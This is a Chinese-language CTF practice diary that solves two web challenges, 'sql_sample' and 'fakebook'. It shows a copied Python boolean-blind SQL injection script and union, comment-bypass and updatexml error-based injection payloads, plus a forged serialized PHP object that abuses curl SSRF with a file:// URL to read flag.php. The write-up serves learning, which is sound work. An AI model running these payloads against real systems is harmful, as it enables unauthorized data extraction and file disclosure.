20240331刷题日记

sql_sample复现

找不到注入点，什么都被过滤，想起来有个robots.txt文件，发现hint

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Only u input the correct password then u can get the flag
and wxccc yyds.

select * from users where username='$_POST["username"]' and password='$_POST["password"]';

密码必须输入wxccc？username单引号闭合

没思路，去看wp了

根据sql语句，可以加入\使引号改变闭合

payload可以是password=or 1 #&username=admin\

可以看到回显改变了，由于没学python，copy了一下脚本，用的应该是bool盲注

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import requests
import time

url = "http://210.30.97.133:28095/index.php"
temp = {}
password = ""
for i in range(1,1000):
    time.sleep(0.06)
    low = 32
    high =128
    mid = (low+high)//2
    while(low<high):
        payload = '^ (ascii(substr((password),%d,1))>%d)#' % (i,mid)
        # select * from test where name='admin\' and password=^ (ascii(substr((password),%d,1))>%d)#
        # 'admin and password='^ (ascii(substr((password),%d,1))>%d)   异或必为真
        temp={"username":"admin\\","password": payload}
        r = requests.post(url,data=temp)
        print(low,high,mid,":")
        if "wxccc" in r.text:
            low = mid+1
        else:
            high = mid
        mid =(low+high)//2
    if(mid ==32 or mid ==127):
        break
    password +=chr(mid)
    print(password)


print("password=",password)

这下知道wxccc是干嘛的了，标记正确页面，运行得到密码

password= OhyOuFOuNdit

在网页登录就拿到flag了

异或的用法第一次见到，长知识了

参考文章：https://blog.csdn.net/SopRomeo/article/details/105123395

fakebook

1.添加用户

2.点进去admin，发现url中有get no，尝试注入

?no=1’ 会报错’’’，猜是数字型注入

?no=1 group by 4–+ 列数为4

?no=1’ union select 1,2,3,4–+

union select被过滤了,但是各自没有单独过滤,加注释绕过?no=-1 union /* */ select 1,2,3,4–+

2是回显位，?no=-1 union /* */ select 1,database(),3,4–+查库名

?no=-1 union /* */ select 1,group_concat(table_name) from information_schema.tables,3,4#

在3,4处一直报错找不到原因，干脆用updatexml报错注入

?no=-1 union /* */ select 1,updatexml(1,concat(‘~’,(select table_name from information_schema.tables where table_schema=’fakebook’)),3),3,4#

?no=-1 union /* */ select 1,updatexml(1,concat(‘~’,
(select column_name from information_schema.columns where table_schema=’fakebook’ and table_name=’users’ limit 0,1)),3),3,4#

回显[*] query error! (XPATH syntax error: '~no')

逐行读取：no username passwd data

?no=-1 union /* */ select 1,updatexml(1,concat(‘~’,
(select group_concat(username,passwd) from users)),3),3,4#

回显[*] query error! (XPATH syntax error: '~adminc7ad44cbad762a5da0a452f9e8')

暂且不知道有什么用

登录不上去，卡住了TAT

robots.txt扫到这个文件，下载后打开

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<?php

class UserInfo
{
    public $name = "";
    public $age = 0;
    public $blog = "";

    public function __construct($name, $age, $blog)
    {
        $this->name = $name;
        $this->age = (int)$age;
        $this->blog = $blog;
    }

    function get($url)
    {
        $ch = curl_init();

        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        $output = curl_exec($ch);
        $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        if($httpCode == 404) {
            return 404;
        }
        curl_close($ch);

        return $output;
    }

    public function getBlogContents ()
    {
        return $this->get($this->blog);
    }

    public function isValidBlog ()
    {
        $blog = $this->blog;
        return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
    }

}

看起来是验证注册时的字段用的

看了wp知道，这是考文件读取，用御剑可以扫到flag.php，读取不出来

get方法中，curl_exec()如果使用不当就会导致ssrf漏洞。猜测可能flag.php处于内网，如果用ssrf访问flag.php，可以用伪协议file://var/www/html/flag.php访问。注入时/var/www/html/view.php刚才扫目录得知flag.php也在这个目录中，user()查权限，是root权限，可以读取flag

?no=-1 union/**/select 1,load_file(“/var/www/html/flag.php”),3,4–+ 直接读取失败

查上面的data列，是个序列化后的UserInfo对象

?no=-1 union /* */ select 1,group_concat(no,data),3,4 from users# 看了wp才知道，Union报错是因为没把from写在后边

O:8:"UserInfo":3:{s:4:"name";s:5:"admin";s:3:"age";i:19;s:4:"blog";s:10:"orange.com";},2O:8:"UserInfo":3:{s:4:"name";s:4:"root";s:3:"age";i:1;s:4:"blog";s:12:"bilibili.com";}

反序列化还没学，以后补档

?no=-1 union/**/select 1,2,3,’O:8:”UserInfo”:3:{s:4:”name”;s:5:”admin”;s:3:”age”;i:19;s:4:”blog”;s:29:”file:///var/www/html/flag.php”;}’

data:text/html;base64,PD9waHANCg0KJGZsYWcgPSAiZmxhZ3tmMDcxMTU1OS02MmY4LTQ0YmItODljYi0wNjM1NTFlZmYwOTJ9IjsNCmV4aXQoMCk7DQo=

base64解码

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$flag = "flag{f0711559-62f8-44bb-89cb-063551eff092}";

参考文章：https://www.cnblogs.com/junlebao/p/14104036.html